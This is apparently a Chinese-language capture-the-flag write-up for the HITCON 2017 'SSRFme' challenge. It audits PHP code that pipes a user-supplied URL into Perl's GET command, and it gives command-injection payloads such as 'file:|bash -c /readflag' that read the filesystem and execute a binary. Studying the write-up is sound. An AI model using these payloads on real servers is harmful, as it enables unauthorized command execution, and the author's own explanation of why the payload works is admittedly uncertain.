[HITCON 2017]SSRFme
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; }
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); @chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"])); $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); highlight_file(__FILE__);
|
先审计一下代码吧,前面就是获取一个ip,拼接然后创造一个目录并进入,后面主要是下面这三个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
var_dump(pathinfo("index/x.php")); var_dump(pathinfo("111"));
array(4) { ["dirname"]=> string(5) "index" ["basename"]=> string(5) "x.php" ["extension"]=> string(3) "php" ["filename"]=> string(1) "x" }
array(3) { ["dirname"]=> string(1) "." ["basename"]=> string(3) "111" ["filename"]=> string(3) "111" }
|
这里我们直接让filename=111就可以避免再次创造一个文件夹并进入了,直接在当前目录下面创造一个文件名字为111
1 2 3 4 5 6 7
| <?php echo escapeshellarg("file:///")."\n"; echo escapeshellarg("id;ip addr");
'file:///' 'id;ip addr'
|
这个函数主要是为了防止命令执行,将参数用引号包裹起来,逗号就不起作用了
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
这里的GET是最难琢磨的,因为shell里面不带有这个命令,最后学习别的师傅的文章才知道这是perl带的
perl是一种编程语言,其中GET命令支持file协议,GET底层调用的是open函数,所以它可以传递式执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| kali@kali [~] ➜ GET / [0:54:30] <HTML> <HEAD> <TITLE>Directory /</TITLE> <BASE HREF="file:/"> </HEAD> <BODY> <H1>Directory listing of /</H1> <UL> <LI><A HREF="./">./</A> <LI><A HREF="../">../</A> <LI><A HREF=".cache/">.cache/</A> <LI><A HREF="bin/">bin/</A> <LI><A HREF="boot/">boot/</A> <LI><A HREF="dev/">dev/</A> <LI><A HREF="etc/">etc/</A> <LI><A HREF="home/">home/</A> <LI><A HREF="initrd.img">initrd.img</A> <LI><A HREF="initrd.img.old">initrd.img.old</A> <LI><A HREF="lib/">lib/</A> <LI><A HREF="lib32/">lib32/</A> <LI><A HREF="lib64/">lib64/</A> <LI><A HREF="lost%2Bfound/">lost+found/</A> <LI><A HREF="media/">media/</A> <LI><A HREF="mnt/">mnt/</A> <LI><A HREF="opt/">opt/</A> <LI><A HREF="proc/">proc/</A> <LI><A HREF="root/">root/</A> <LI><A HREF="run/">run/</A> <LI><A HREF="sbin/">sbin/</A> <LI><A HREF="srv/">srv/</A> <LI><A HREF="sys/">sys/</A> <LI><A HREF="tmp/">tmp/</A> <LI><A HREF="usr/">usr/</A> <LI><A HREF="var/">var/</A> <LI><A HREF="vmlinuz">vmlinuz</A> <LI><A HREF="vmlinuz.old">vmlinuz.old</A> </UL> </BODY> </HTML
|
可以看到,这个是可以直接读取/目录下的文件的,那就可以构造url=/&filename=123

发现了readflag和flag文件,flag文件读取出来是空的,看来我们是要执行readflag文件即可
1 2 3 4
| kali@kali [~] ➜ GET file:///|bash -c ~/read [0:54:38] hello word kali@kali [~] ➜ cat read [0:57:42] echo "hello word"
|
这是我的本地测试,但是放在这里就是无法执行,这就让我非常疑惑了,查看别的师傅wp,好像是要创建一个同名的文件,才能执行命令
?url=&filename=|bash -c /readflag
?url=file:|bash -c /readflag&filename=456
感觉超级奇怪,可能是当时perl版本的与现在的版本差距很大了
考虑到filename函数的解析,创建的目录是|bash -c目录,下面有readflag文件,这就很难以理解了,考虑到题目太久远,就不多想了,以现在的GET为准吧